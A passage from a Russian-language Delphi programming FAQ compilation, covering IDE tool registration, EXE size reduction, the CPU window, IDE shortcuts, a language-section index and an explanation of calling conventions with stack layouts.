        path := F_registry.ReadString('Path' + suffix);
        title := F_registry.ReadString('Title' + suffix);
        workingDir := F_registry.ReadString('WorkingDir' + suffix);

      finally
        F_Registry.CloseKey;
      end;
    end
  end;
end;

end.

//*******************************************************************
//**  how to use it?
//*******************************************************************
unit Unit1;

interface

uses
  Windows, {...}, DelphiTool;

 //...
 //...
 //...

var
  Form1: TForm1;

implementation

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TDelphiTool.Create do
    try
      //  Delete(IndexOf('MyTool'));
      Add('', Application.ExeName, 'MyTool', ExtractFilePath(Application.ExeName));
      //  Edit(IndexOf('MyTool'), '', '', 'MyTool But Edited', '');
    finally
      Free;
    end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Способы уменьшения размера Exe файлов полученных с помощью Дельфи?

Generally, EXE files created with Delphi are larger than EXE files
created with another programming language. The reason is the VCL.
(Sure, VCL has many advantages...)

There are several ways to reduce a EXE's size:

01) Use a EXE-Packer (UPX, ASPack,...)
02) Use KOL.
03) Write your application without VCL
04) Use the ACL (API Controls Library)
05) Use StripReloc.
06) Deactivate remote debugging information and TD32.
07) You might want to put code in a dll.
08) Don't put the same images several times on a form. Load them at runtime.
09) Use compressed images (JPG and not BMP)
10) Store less properties in DFM files
(See Link below "How To Make Your EXE's Lighter")

11) Use the TStringList replacement by ~LOM~
Use the Minireg - TRegistry replacement by Ben Hochstrasser

01)
UPX is a free, portable, extendable, high-performance executable
packer for several different executable formats. It achieves an excellent
compression ratio and offers very fast decompression.
Your executables suffer no memory overhead or other drawbacks.

http://upx.sourceforge.net/

ASPack is an advanced Win32 executable file compressor, capable of reducing the file size of
32-bit Windows programs by as much as 70%. (ASPack's compression ratio improves upon the
industry-standard zip file format by as much as 10-20%.) ASPack makes Windows 95/98/NT
programs and libraries smaller, and decrease load times across networks, and download
times from the internet; it also protects programs against reverse engineering
by non-professional hackers.
Programs compressed with ASPack are self-contained and run exactly as before,
with no runtime performance penalties.

http://www.aspack.com/aspack.htm

{****************************************************************}

02)
KOL - Key Objects Library is a set of objects to develop power
(but small) 32 bit Windows GUI applications using Delphi but without VCL.
It is distributed free of charge, with source code.

http://bonanzas.rinet.ru/

{****************************************************************}

03)
nonVCL
Delphi lets you have it both ways. If you want tiny EXE's, then don't use
the VCL. Its entirely possible to use all the rich features of Delphi IDE
using 100% WinAPI calls, standard resources, etc.

http://nonvcl.luckie-online.de
http://www.erm.tu-cottbus.de/delphi/stuff/Tutorials/nonVCL/index.html
http://www.angelfire.com/hi5/delphizeus/
http://www.tutorials.delphi-source.de/nonvcl/

{****************************************************************}

04)

ACL (API Controls Library)
To write the program on pure API certainly it is possible, but I have deci-
ded to reach both goals - both to make that program and to receive the tool,
through which it would be possible in further to build similar programs, almost,
as on Delphi with VCL. So the idea to create my own TWinControl and all standard
Windows controls classes, derived from it has appeared.

http://www.apress.ru/pages/bokovikov/delphi/index.html/

{****************************************************************}

05)
StripReloc is a free (GPL license) command line utility that removes the relocation
(".reloc") section from Win32 PE EXE files, reducing their size.
Most compilers/linkers (including Delphi) put a relocation section in EXE files,
but this is actually not necessary since EXEs never get relocated.
Hence, a relocation section only wastes space.

Why not use an EXE compressor?
http://www.jrsoftware.org/striprlc.php

{****************************************************************}

06)
Deactivating the Debug Information

Exclude any debug information for the final build
(project-Options Compiler - Debugging and project-Options
Linker EXE and DLL options)
Dependeing on the amount of Debug information,
Debugging can take up until half of the size.

The options that are going to singificantly reduce your file size are
"Include TD32 debug info" and "Build with runtime packages". If you are
shipping commercial applications, you usually don't need the debug info
linked with your project.

{****************************************************************}

08/09)
About Images

The forms in your project have any bitmaps on them, then these are
compiled into the EXE. If you use the same bitmap multiple times, don't
assign them at design-time in the IDE as it will be included in the EXE
multiple times, assign them in code instead.
This can help reduce the size of the EXE, especially if you use large
bitmaps.

Use JPEG-files instead of BMP-files. This also reduces the EXE size.

{****************************************************************}

10)
How To Make Your EXE's Lighter:
http://www.undu.com/DN970301/00000064.htm

{****************************************************************}

11)
TStringList replacement by ~LOM~
Minireg - TRegistry replacement
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Активизация и использование в IDE окна CPU

Предупреждение: Окно CPU еще до конца не оттестировано и может иногда приводить к ошибкам. Если у вас есть проблемы с отладчиком, или при запуске вашей программы вы не можете им воспользоваться, окно CPU может помочь решить ваши проблемы. Обычно его не требуется включать, если только у вас не "особый случай".

В Delphi 2 эта характеристика встроена, но по умолчанию выключена, называется это окно CPU window, или DisassemblyView. Она легка в использовании, может быть полезной в отладке и сравнении кода при его оптимизации.

Для активизации этой характеристики, запустите REGEDIT и отредактируйте регистры описанным ниже образом. Найдите ключ HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging. Создайте по этому пути строковый ключ с именем "ENABLECPU". Значение нового ключа должно быть строкой "1". Это все. Теперь в Delphi IDE появился новый пункт меню View|CPUWindow. При его активизации выводится новое окно.

Теперь, чтобы понять какое мощное средство оказалось в ваших руках, сделаем сравнительный анализ генерируемого кода для двух примеров, имеющих одинаковую функциональность, но достигающую ее разными путями.

Создайте 2 одинаковых обработчика события. В каждом обработчике события разместите приведенный ниже код. Установите точку прерывания на первой строчке каждого обработчика. Запустите приложение и активизируйте события. Сравните ассемблерный код обоих методов. Один короче? В этом случае он будет исполняться быстрее.

Достойными для такого рода анализа могут быть участки кода, многократно выполняемые в процессе работы программы, или критические ко времени выполнения.

Хорошим примером, где различный код выполняет одну и ту же работу, но делает это с разной скоростью, является использование конструкции "with object do". Исходный код с многократным использованием конструкции "with object do" будет длиннее, но ассемблерный код короче. Вспомните, сколько раз вы устанавливали свойства для динамически создаваемых объектов? Код:

with TObject.create do
begin
  property1 := ;
  property2 := ;
  property3 := ;
end;

будет выполняться быстрее, чем

MyObj := TObject.create;
MyObj.Property1 := ;
MyObj.Property2 := ;
MyObj.Property3 := ;

Взято с http://delphiworld.narod.ru


Работа с IDE из программы

Вот подпрограммы, работающие у меня в связке D1 и Win 3.1x:

function LaunchedFromDelphiIDE: Boolean;
{----------------------------------------------------------------}
{ Осуществляем проверку запущенности приложения из-под Delphi    }
{ IDE. Идея взята из сообщения в Delphi-Talk от Ed Salgado       }
{ из Eminent Domain Software.                                    }
{----------------------------------------------------------------}

begin
  LaunchedFromDelphiIDE := Bool(PrefixSeg) {т.е. не DLL} and
  Bool(PWordArray(MemL[DSeg: 36])^[8]);
end; {LaunchedFromDelphiIDE}

function DelphiLoaded: Boolean;
{----------------------------------------------------------------}
{ Проверяем, загружена ли Delphi. Дает правильные результаты     }
{  - если вызывающее приложение запущено отдельно, или из-под IDE}
{  - если Delphi имеет открытый проект                           }
{  - если Delphi минимизирована.                                 }
{ Автор идеи Wade Tatman (wtatman@onramp.net).                   }
{----------------------------------------------------------------}

begin
  DelphiLoaded := false;
  if WindowExists('TPropertyInspector', 'Object Inspector') then
    if WindowExists('TMenuBuilder', 'Menu Designer') then
      if WindowExists('TAppBuilder', '(AnyName)') then
        if WindowExists('TApplication', 'Delphi') then
          if WindowExists('TAlignPalette', 'Align') then
            DelphiLoaded := true;
end; {DelphiLoaded}

function DelphiInstalled: Boolean;
{----------------------------------------------------------------}
{ Проверяем наличие Delphi.ini, ищем в нем путь к Библиотеке     }
{ Компонентов, после чего проверяем ее наличие по этому пути.    }
{----------------------------------------------------------------}

var
  IniFile: string;
begin
  DelphiInstalled := false;
  IniFile := WindowsDirectory + '\Delphi.ini';
  if FileExists(IniFile) then
    if FileExists(GetIni(IniFile, 'Library', 'ComponentLibrary')) then
      DelphiInstalled := true;
end; {DelphiInstalled}

Я уверен, что один из приведенных выше методов вам поможет.Последние две
  подпрограммы используют некоторые другие инкапсуляции Windows API и классов
  Delphi, и они определены следующим образом:

function WindowExists(WindowClass, WindowName: string): Boolean;
{----------------------------------------------------------------}
{ С помощью паскалевских строк проверяем наличие определенного   }
{ окна. Для поиска только имени окна (WindowName), используем    }
{ WindowClass '(AnyClass)'; для поиска только класса окна        }
{ (WindowClass), используем WindowName '(AnyName)'.              }
{----------------------------------------------------------------}

var
  PWindowClass, PWindowName: PChar;
  AWindowClass, AWindowName: array[0..63] of Char;
begin
  if WindowClass = '(AnyClass)' then
    PWindowClass := nil
  else
    PWindowClass := StrPCopy(PChar(@AWindowClass), WindowClass);

  if WindowName = '(AnyName)' then
    PWindowName := nil
  else
    PWindowName := StrPCopy(PChar(@AWindowName), WindowName);

  if FindWindow(PWindowClass, PWindowName) <> 0 then
    WindowExists := true
  else
    WindowExists := false;
end; {WindowExists}

function WindowsDirectory: string;
{----------------------------------------------------------------}
{ Возвращаем путь к каталогу Windows (без обратной косой черты)  }
{----------------------------------------------------------------}

const
  BufferSize = 144;
var
  ABuffer: array[0..BufferSize] of Char;
begin
  if GetWindowsDirectory(PChar(@ABuffer), BufferSize) = 0 then
    WindowsDirectory := ''
  else
    WindowsDirectory := StrPas(PChar(@ABuffer));
end; {WindowsDirectory}

function GetIni(const IniFile, Section, Entry: string): string;
{----------------------------------------------------------------}
{ Получаем инициализационную 'profile' строку из определенного   }
{ пункта (Entry) определенной секции [Section] определенного     }
{ INI-файла (дополняем '.ini', если отсутствует). Возвращаем     }
{ нулевую строку, если IniFile, Section или Entry не найден.     }
{----------------------------------------------------------------}

var
  IniFileVar: string;
  IniFileObj: TIniFile;
begin
  if StrEndsWith(IniFile, '.ini') then
    IniFileVar := IniFile
  else
    IniFileVar := IniFile + '.ini';
  IniFileObj := TIniFile.Create(IniFileVar);
  GetIni := IniFileObj.ReadString(Section, Entry, '');
  IniFileObj.Free;
end; {GetIni}

Взято с http://delphiworld.narod.ru


Смена свойств приложения, открываемого, по умолчанию в среде при её запске

Большинство стандартных темплейтов зашиты в delphide70.bpl (70 - версия), остальные - в каталоге Objrepos. Описаны же последние в файле bin\delphi32.dro. Т.о:

1. Добавляем в "delphi32.dro" строки:

[C:\Program Files\Lang\Delphi7\ObjRepos\MyApp\MyApp]
Type=ProjectTemplate
Page=Projects
Name=My Application
Description=This is my application template
Author=Eugene
Icon=C:\Program Files\Lang\Delphi7\ObjRepos\MyApp\MyApp.ico
DefaultProject=1
Designer=dfm

(для темплейтов формы Type=FormTemplate, DefaultMainForm=0/1, DefaultNewForm=0/1)

2. Размещаем нашу темплейт-прогу в каталоге "C:\Program Files\Lang\Delphi7\ObjRepos\MyApp\" и называем её "MyApp.dpr".

3. Жмём "File/New/Application" (т.к. у нас DefaultProject=1), либо заходим во вкладку "Projects", а затем кликаем два раза по "My Application".

4. Радуемся!

Автор: Jin X

Взято из http://forum.sources.ru


Эта незнакомая IDE! (статья)

Небольшой список приёмов для эффективной работы

IDE - интегрированная среда разработки Дельфи. Все хоть чуть чуть соприкасавшиеся с Дельфи знают эту простую и интуитивно понятную среду. Тем ни менее, эта среда имеет огромное количество функций, которые не столь очевидны для пользователя и не очень хорошо документированы. Целью этой статьи является рассказать о некоторых приёмах работы в среде Дельфи, не столь очевидных даже для профессионалов. Описание базируется на Дельфи 7, но подавляющее большинство приёмов будет доступно и в других версиях, как ранних, так и поздних.

Текстовый редактор

1) Отмеченный блок текста можно сдвинуть вправо или влево нажатием Ctrl-Shift-U или Ctrl-Shift-I - это особенно удобно при форматировании текста, оформлении процедур, циклов и т.п.

2) Отмеченный блок текста можно сохранить в файл непосредственно, минуя стадии создания файла и т.п. Нажмите Ctrl-K и затем W - откроется диалог сохранения файла выберите имя и блок будет сохранён в виде отдельного файла. Вообще-то редактор дельфи берёт начало ещё от очень древнего Word star редактора(речь идёт о начале 80х годов), на базе которого был сделан IDE для Turbo Pascal. В том Wordstar очень многие функции были реализованы через префиксы. Т.е. нажимается какой-то префикс, и потом клавиша функции. Такими префиксами в Дельфи остались Ctrl-K и Ctrl-O - сами по себе эти комбинации ничего не делают, но после их нажатия следующая буква определяет функциональность. Итак Ctrl-K,W - записывают выделенный блок в файл (от слова Write - писать)

3) Содержимое текстового файла можно легко загрузить по месту курсора (вставить в текущий текст) нажав Ctrl-K,R (Read). При нажатии комбинации откроется диалог открытия файла.

4) Переходы на метки. Скорее всего это почти все знают, но тем ни менее. Можно запомнить текущую позицию курсора поставив метку, и потом перейти к метке. Всего меток можно поставить до 10 штук. Метка ставится нажатием Ctrl-Shift+ цифра, переход к поставленной метке по нажатию Ctrl+цифра. Для тех кто в танке: нажмите Ctrl-Shift+1 затем пролистайте текущий файл куда-нибудь вверх или вниз, нажмите Ctrl-1 и курсор перескочит на запомненную позицию.

5) Чтобы открыть в редакторе исходник файла указанный в Uses, поставте курсор на имя модуля и нажмите Ctrl-Enter. Исходник сразу будет открыт в новом окне. Только 2 замечания: во-перывых это не обязательно должно быть имя модуля из uses, редактор будет пробовать открыть любой файл по имени слова над которым стоит курсор, во-вторых IDE должно знать где искать файл, если в списке путей этого файла нет, IDE его не найдёт и просто откроет диалог открытия файла.

6)Вертикальные блоки - очень удобная фишка. Можно выделить вертикальный блок текста и манипулировать им. Для выделения вертикального блока можно воспользоваться клавиатурой: Удерживая Shift и Alt перемещать курсор или мышкой - для этого при выделении мышкой удерживайте Alt нажатым. Для выхода из режима отметки вертикального блока используйте или мышку - выделив что-нибудь без Alt или используя Ctrl+O, K. Ещё один способ перейти в режим выделения вертикальным блоком - это нажать Ctrl+O, C и после этого блоки будут вертикальными при выделении их клавиатурой.

7) Строковые блоки - ещё один вид блоков пришедших из wordstar и сейчас подзабытых. В этом случае редактор выделяет строку целиком, вне зависимости от того где стоит курсор. Иногда удобно. Перейти в режим строкового блока можно комбинацией Ctrl+O, L

8) Удалить целую строку можно нажав Ctrl-Y, а нажатие Ctrl-T приводит к удалению конца слова (от позиции курсора до конца слова), применение Ctrl+Shift+Y позволяет удалить весь текст от курсора до конца строки.

9) Можно вставить любой символ в текст при помощи Ctrl-P, после нажатия этой комбинации следующий символ с клавиатуры не будет восприниматься как управляющий а будет введен в текст, например Ctrl-P и потом Ctrl-A вставят в текст символ #1

10) Копирование без буффера обмена. Ещё одна удобная фишка, пришедшая со времён ДОС. Наверное все встречались с ситуацией когда например в буффере обмена лежит название объекта, но чтобы вставить его надо скопировать кусок кода. Если копировать по привычному Ctrl-C/Ctrl-V то предыдущая информация в буффере исчезнет. На этот случай есть 2 удобных приёма. Во первых можно скопировать блок клавиатурой без использования буффера обмена - выделите блок текста, нажмите Ctrl-K, C - блок скопирован, содержимое буффера обмена не пострадало. Второй способ - мышкой: отмечаем блок, удерживая нажатым Ctrl перетаскиваем блок на новое место - блок копируется.

11) Макросы! Редактор Дельфи позволяет запомнить нажатые клавиши и потом произвести точно такую-же последовательность нажатий. Делается это следующим образом. Допустим у нас есть код:

Table1.fieldByName('aaaaa').asString:='чего-то там';
Table1.fieldByName('sdweewr').asString:='чего-то там 1';
Table1.fieldByName('sdfsdfga').asString:='чего-то там2';
Table1.fieldByName('a').asString:='чего-то там 4';
Table1.fieldByName('pyoruw').asString:='чего-то там 5';

Этот код надо заменить на аналогичный, но с использованием параметров, причём добавить ещё переменную v. В конечном итоге мы хотим каждую строку преобразовать в нечто типа:

Table1.params.parambyname('aaaaa').value:='чего-то там'+v;

Если строк очень много то процесс переделки может быть весьма трудоёмкий. Что мы делаем:
- ставим курсор на первую букву первой строки.
- нажимает Ctrl-Shift-R (начать запись макро) с этого момента все нажатия на клавиатуре будут запоминаться, поэтому действуем осторожно чего попало не нажимая:
- нажимаем Ctrl-вправо и удаляем fieldByName
- печатаем на его место params.parambyname
- нажимаем Ctrl-вправо пока курсор не станет на asString (просто вправо жать нельзя так как значение имени поля у нас разной длинны в разных строках)
- удаляем asString нажатием delete
- записываем value
-нажимаем End и клавишу влево
- записываем +v
- теперь нажимаем клавишу вниз и клавишу home - чтобы курсор стал на начало следующей строки
- нажимает Ctrl-Shift-R- закончить запись макро.

Теперь по нажатию Ctrl-Shift-P редактор будет обрабатывать любую текущую строку так же как и ту над которой работали мы.

12) Быстрый поиск. Нажмите Ctrl-E и начинайте печатать слово которое вы хотите найти - редактор будет искать по мере ввода слова...

13) Чтобы вставить в текст GUID (CLSID) - нажмите Ctrl-Shift-G

14) Все знают что после точки Дельфи выдаёт список доступных методов и свойств объекта, а как вызвать этот список вручную, если он уже исчез? - нажмите Ctrl-Space. Кстати нажатие Ctrl-Shift-Space приведёт к появлению всплывающей подсказки о параметрах функции или метода, если нажатие произведено когда курсор стоит после скобки, например напишите write( и нажмите Ctrl-Shift-Space - будет выведен hint о параметрах функции.

15) Путём нажатия Ctrl+Shift+Up и Ctrl+Shift+Down можно быстро перейти от тела метода к его объявлению и наоборот. Аесли нажать Ctrl-Shift-C на методе то удет автоматически создано его объявление в классе и наоборот, если есть объявление метода в классе - то будет создан шаблон для его реализации.

16) Если кликнуть на идентификаторе с нажатым Ctrl, то курсор перейдёт на объявление этого идентификатора. А если нажать Ctrl-Shift-B на имени класса, то будет выведена вся иерархия данного класса.

17) Если нажать Ctrl-O, O то по текущему положению курсора будут выведены все опции компилляции установленные для проекта.

18) Можно изменить регистр букв выделенного текста на противоположный нажав Ctrl+O, U, а нажатие Ctrl+K, E приведёт к переводу текущего слова в нижний регистр (Ctrl+K, F - в верхний).

19) Ctrl+O, G позволит вам быстро перейти к строке по её номеру

20) Alt+[ и Alt+] осуществляют поиск парных скобок, что удобно при сложных выражениях.

Отладчик:

1) Наверное все знают функции трассировки F7/F8, но есть ещё одна - Shift-F7 - она аналогична F7 т.е. трассирует программу с заходом в каждую процедуру, но в дополнении ещё отлавливает и случающиеся события и трассирует их.

2) Ctrl-F3 - вызов стека вызовов функций. Крайне удобная штука - в точке останова можно заглянуть в него и выяснить кто вызывал данную процедуру, увидеть всю цепочку вызовов и быстро перейти к вызывающей функции.

3) Ctrl-F7 - позволяет посмотреть любую переменную, изменить её значение, и даже выполнить какой-нибудь код прямо в процессе отладки. Его же можно использовать и как калькулятор по мере разработки программы. Кстати, если надо просмотреть значение переменной типа TStrings - например memo.lines то не надо писать memo.lines.text - так как при этом текст не будет разбит на строки, пишите memo.lines.gettext - это сделает вывод значения гораздо более читаемым. Кстати есть и ещё одна особенность - при выводе значения TStrings, а так же массивов и т.п. "объёмных" структур просмотрщик выводит только первые несколько килобайт, поэтому не волнуйтесь, если у вас вдруг просмотрщик покажет только кусок значения - это не глюк, это особенность просмотрщика, скомпиллированный код работает правильно

4) При наличии многочисленных ошибок компилляции можно легко переходить к последующей/предыдущей ошибке нажатием Alt-F8/Alt-F7

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Язык программирования Дельфи

Нет, я не ошибся! Начиная с версии Delphi 7 фирма Борланд официально называет язык программирования Delphi и Kylix языком "Дельфи". В этом разделе собраны вопросы по работе с конструкциями языка Дельфи, не затрагивая конкретной реализации большинства классов VCL.

Vit

Cодержание раздела:

Общие вопросы
· Директивы вызова процедур
· Как использовать переменную для имени процедуры?
· Как использовать параметры коммандной строки? Updated!
· Быстрый способ обмена значений в 2х переменных.
· BEEP для дельфи, который работает, как в TP
· Как передать массив как параметр?
· Можно ли задать шаг в For?
· Как сделать procedure/function с переменным количеством параметров? New!
· Как получить часть GUID? New!
· GUI. Перегрузка контролами (статья) New!
· Функция, возвращающая тип New!
· Взять один символ из потока памяти New!

Объектное ориентирование
· Объектно-ориентированное программирование (статья) New!
· Как написать собственный класс?
· Как можно работать с объектами не заботясь об их разрушении?
· Как преобразовать указатель на метод в указатель на функцию?
· Как явно вызвать виртуальный метод дедушки?
· Что из себя представляет Self?
· Как скрыть свойства объекта?
· Как присвоить событие в run-time?
· Как вызвать метод предка?
· Как редактировать таблицы виртуальных и динамических методов?
· Можно ли динамически изменять свойство "owner" компонента во время выполнения программы?
· Как создать компонент во время выполнения приложения?
· Шаблоны в Object Pascal
· Работа с Sender
· Как внести изменения в код VCL?
· В чем отличие между Create(Self) и Create(Application)?
· Как создать копию произвольного компонента?
· Перекрытие виртуальных методов
· Вызов процедуры, имя которой содержится в переменной
· Динамические и виртуальные методы
· Override/Vitual/Dynamic - методы
· Выполнение процедуры по адресу
· Информация о TClass
· Переназначения объектов
· Демонстрация DefineProperties
· Как заставить код компонента работать только в дизайне?
· Работа метода Assign
· Как забыть о необходимости разрушать объекты? New!
· Список handle всех окон моего приложения New!
· Как получить список всех назначенных событий? New!
· Сгруппировать свойства наподобие Font New!

Работа со строками
· Как хранятся строки?
· Как осуществить поиск слов по маске?
· Генерация GUID как строки
· Как разделить строку на элементы, Аналог VB функции Split
· Как преобразовать String в Binary и наоборот?
· Из строки в массив и наоборот
· Как подсчитать количество слов в строке?
· Unix-строки (чтение и запись Unix-файлов)
· PChar-->Integer
· Разбивка строки на слова
· String --> PChar
· Парсинг строк
· HexToStr, '4D 5A' --> 'MZ'
· Функции преобразования UNICODE и ANSI строк New!
· Регулярные выражения New!
· Explode / Implode a String? New!
· Количество вхождений подстроки в строку New!
· Как использовать format parameter больше одного раза? New!
· WideString -->String New!
· String --> WideString New!
· Быстрые операции с очень большими строками New!
· Как получить количество активных ссылок на строку? New!
· BCD --> String New!
· String --> BCD New!
· Как найти строку в строке начиная с определённой позиции? New!
· String --> HKEY New!
· HKey --> String? New!
· Инкрементация строкового поля New!

Работа с датами и временем
· Как узнать номер недели данного дня в году?
· Как преобразовать строку в дату?
· Скорость работы процессора, точный таймер
· Как реализовать сверхточный таймер?
· Как отчитывать промежутки времени с точностью, большей чем 60 мсек?
· Работа со временем или как реализовать 1.20+1.50=3.10 ?
· Как конвертировать RFC дату и обратно?
· Как подсчитать возраст по дню рождения?
· Как проверить, существует ли дата?
· Конвертируем Unix дату
· Как получить дату по Юлианскому календарю?

Работа с числами
· Как округлять до сотых в большую сторону?
· Регионарные стандарты
· Проблемы с дробными числами
· Hex ---> Integer
· Число английской строкой
· Число русской строкой
· Число украинской строкой
· Работа с типом Comp
· Как получить доступ к битам переменной и управлять их значением?
· Dec ---> Hex New!
· Integer как SmallInt New!

Работа с битами
· Проверка - установлен ли определенный бит? New!
· Установка бита в единицу New!
· Установка бита в ноль New!
· Переключение состояния бита с единицы на ноль и наоборот New!
· Пример чтения данных по битовой маске из значения New!

Работа с массивами
· Примеры работы с динамическими массивами
· Массив в Delphi
· Пример массива констант (Array of Const)
· Работа с большими массивами
· Использование многомерного массива
· Массив без ограничения типа и размера
· Создание многомерного массива
· Как удалить одно значение из динамического массива?
· Запись массива на диск

Работа с указателями
· Как избежать использования неактуальных указателей
· Пример работы с указателями
· Арифметика указателей
· Получение ссылки на экземпляр класса
· Использование указателей на целое

Работа с перечисляемыми типами

RTTI и другие трюки с информацией о классах, модулях и т.п.
· Теория и практика использования RTTI
· Как прочитать значение свойства компонента по имени?
· Как изменить значение свойства компонента по имени?
· Как получить контекст свойства по его целочисленному значению?
· Как получить значение свойства в виде варианта по тексту имени свойства?
· Как прочитать весь список Published методов?
· Как выяснить имеет ли объект определённое свойство? Updated!
· Как сохранить значние свойства в поток?
· Как определить, является ли метод потомком TNotifyEvent?
· Как определить, насдледовано ли свойство от определённого класса?
· Как прочитать свойство напрямую из его ресурса?
· Как присвоить все значения полей одного класса, другому такому же классу?
· Как сделать текстовый список всех доступных свойств перечисляемого типа?
· Как изменить цвет всех компонентов на форме в Run_time?
· Как выполнить метод по его имени?
· Как получить строковое значение перечисляемого типа?
· Как узнать имя файла моей программы?
· Имя класса компонента и модуля
· Как динамически прочитать информацию о классе

Взаимодействие с другими языками
· Изучаем ассемблер в Delphi
· Вызов c-шной функции с переменным числом параметров
· Вызов Delphi DLL из MS Visual C++
· Аналог функции С memcmp
· Соответствие типов С++ и Delphi
· Using Visual Basic arrays in Delphi
· Does Delphi have an equivalent to the Visual Basic SendKeys function?
· Does Delphi have an equivalent for the VB function DoEvents?
· Основное отличие EXE-файлов созданных Delphi и Visual Basic

Threads
· Потоки и DLL
· Как создавать потоки без класса TThread?
· Как реализовать обработку информации одновременно несколькими потоками
· Как передать при создании нити (Tthread) ей некоторое значение?

Работа с коллекциями
· Работа с коллекциями - сохранение и загрузка
· Коллекции и работа с ними

RTL Delphi (краткий справочник)
· Math - математика, статистика, финансы

Базовые классы
· TList New!
· TStrings и TStringList New!
· TStream New!


Общие вопросы

Cодержание раздела:

Директивы вызова процедур
Как использовать переменную для имени процедуры?
Как использовать параметры коммандной строки? Updated!
Быстрый способ обмена значений в 2х переменных.
BEEP для дельфи, который работает, как в TP
Как передать массив как параметр?
Можно ли задать шаг в For?
Как сделать procedure/function с переменным количеством параметров? New!
Как получить часть GUID? New!
GUI. Перегрузка контролами (статья) New!
Функция, возвращающая тип New!
Взять один символ из потока памяти New!
Удобная функция ifthen New!
Использование PosEx взамен Pos New!


Директивы вызова процедур

Может кто объяснит подробнее особенности применения директив вызовов процедур: register, pascal, cdecl, stdcall, safecall. В чём отличия, когда и какие надо применять, какие преимущества и недостатки?

Разница в способе передачи параметров в функцию и возврата параметров из функции.
stdcall - юзается (вроде) а винапях. Передача аргументов справа налево. Стек очищает вызываемая процедура. Возвращает разультат в EAX (помойму)
pascal - юзалось в вин16апи. Передача в аргументов слева направо. Стек очищает вызываемая. В паскале результат возвращался в al, ax или в dx:ax. Как в Дельфи - не помню, вероятно а EAX.
register - передача всего через регистры процессора. Как именно - зависит от компилятора.
cdecl - не помню. Вроде тоже, что и stdcall, только стек чистит вызывающая процедура

Автор ответа: FdX
Взято с Vingrad.ru http://forum.vingrad.ru

sdecl - вызовы в стиле С (для обращения к DLL использующим соглашения о вызовах в стиле С). Параметры в сет с права на лево. Очистка - вызывающей процедурой. Обеспечивают обслуживание переменного числа параметров.

Автор ответа: Dapo
Взято с Vingrad.ru http://forum.vingrad.ru

Эти директивы скорее относятся к способу(ам) реализации вызовов процедур и передачи (приему от) параметров на конкретном машинном языке при компиляции с языков высокого уровня.
Так, например в DOS СИ использовали свои виды реализаций(обычно называемые C-call), а Паскаль - свой. В win32 также различаются реализации для этих языков, но постепенно происходит заимствование фрагментов реализаций друг у друга и их симбиозы (stdcall).
Если ты пишешь только на одном языке и не подключаешь внешних библиотек, созданных другим компилятором (в другом формате), то тебе, в принципе, все равно, какая реализация используется - компилятор сам примет верное решение и согласует вызовы подпрограмм в своем стиле. Исключение, пожалуй, составляет лишь опция "registers" - по смыслу это означает приоритетное использование регистров процессора для передачи(получения) данных процедуре. Как правило, это ускоряет вызов процедуры и возврат из нее: может быть использования для повышения быстродействия. Однако это обычно делают установкой глобального флага проекта в момент создания Файнал Релиз, применяя это сразу ко всем подпрограммам.
Однако если тебе необходимо подключить внешнюю библиотеку (например, написанный на СИ dll, вызывающий в свою очередь апи sql-сервера), то будет необходимо учесть способ передачи параметров именно этой библиотеке.
Или при явном вызове win api из кода также нужно учесть способ их вызова (stdcall)...

Автор ответа: Chingachguk
Взято с Vingrad.ru http://forum.vingrad.ru

Calling conventions influence two things:
- how parameters are passed to a function/procedure (=routines)
- how the call stack is cleaned up when the call returns
Delphi routines can use the calling conventions pascal (the
Delphi 1 default), register (the default for Delphi 2-5), cdecl
(the default used by C/C++ compilers), stdcall (the default used
by the Windows API). There is a fifth one: safecall, which
is only used in the context of interface methods. A good
explanation for what it entails can be found in issue 51
(Nov. 99) of The Delphi Magazine, i will not go into it
further here. Lets go through the first four in detail, using a
couple of test functions with the same parameter list but
different calling conventions. For clearity we compile with
stack frames on, so each routine will start with the prologue
push ebp
mov ebp, esp
The stack layouts given below are for the mov line. Each test
function is called with the same parameter values so one can
use the CPU windows stack pane to study the resulting stack
layout.

1. Pascal calling convention

Function Test1( i: Integer; b: Boolean; d: Double ): Integer;
Pascal;
Pascal calling convention passes parameters on the stack and
pushes them from left to right in the parameter list. Each
parameter occupies a multiple of 4 bytes. The resulting stack
layout is
ebp + 20 value of i, 4 bytes
ebp + 16 value of b, 4 bytes, only lowbyte significant
ebp + 08 value of d, 8 bytes
ebp + 04 return address, 4 bytes
ebp + 00 old ebp value
The parameters are cleared off the stack by the called function
using a
ret $10
instruction ($10 = 16 is the total size of the parameters on
stack).

2. Register calling convention
Function Test2( i: Integer; b: Boolean; d: Double ): Integer;
Register;
Register calling convention passes parameters in registers
eax, edx, ecx and on the stack and processes them from left to
right in the parameter list. There are rules to decide what
goes into registers and what goes on the stack, as detailed
in the Object Pascal Language guide. The resulting stack layout
is
ebp + 08 value of d, 8 bytes
ebp + 04 return address, 4 bytes
ebp + 00 old ebp value
The value of i is passed in eax, the value of b in edx.
The parameters are cleared off the stack by the called function
using a
ret $8
instruction ($8 = 8 is the total size of the parameters on
stack).

3. cdecl calling convention
Function Test3( i: Integer; b: Boolean; d: Double ): Integer;
cdecl;
Cdecl calling convention passes parameters on the stack and
pushes them from right to left in the parameter list. Each
parameter occupies a multiple of 4 bytes. The resulting stack
layout is
ebp + 16 value of d, 8 bytes
ebp + 12 value of b, 4 bytes, only lowbyte significant
ebp + 08 value of i, 4 bytes
ebp + 04 return address, 4 bytes
ebp + 00 old ebp value
The parameters are cleared off the stack by the calling
function, so the function ends with a
ret 0
and after the call instruction we find a
add esp, $10
instruction ($10 = 16 is the total size of the parameters on
stack).

4. Stdcall calling convention
Function Test4( i: Integer; b: Boolean; d: Double ): Integer;
stdcall;
Sdtcall calling convention passes parameters on the stack and
pushes them from right to left in the parameter list. Each
parameter occupies a multiple of 4 bytes. The resulting stack
layout is
ebp + 16 value of d, 8 bytes
ebp + 12 value of b, 4 bytes, only lowbyte significant
ebp + 08 value of i, 4 bytes
ebp + 04 return address, 4 bytes
ebp + 00 old ebp value
The parameters are cleared off the stack by the called function
using a
ret $10
instruction ($10 = 16 is the total size of the parameters on
stack).
When writing DLLs that are only be meant to be used from Delphi
programs you will usually use the register calling convention,
since it is the most efficient one. But this really ties the
DLL to Delphi, no program compiled in another language (with
the exception of BC++ Builder perhaps) will be able to use the
DLL unless it uses assembler to call the functions, since the
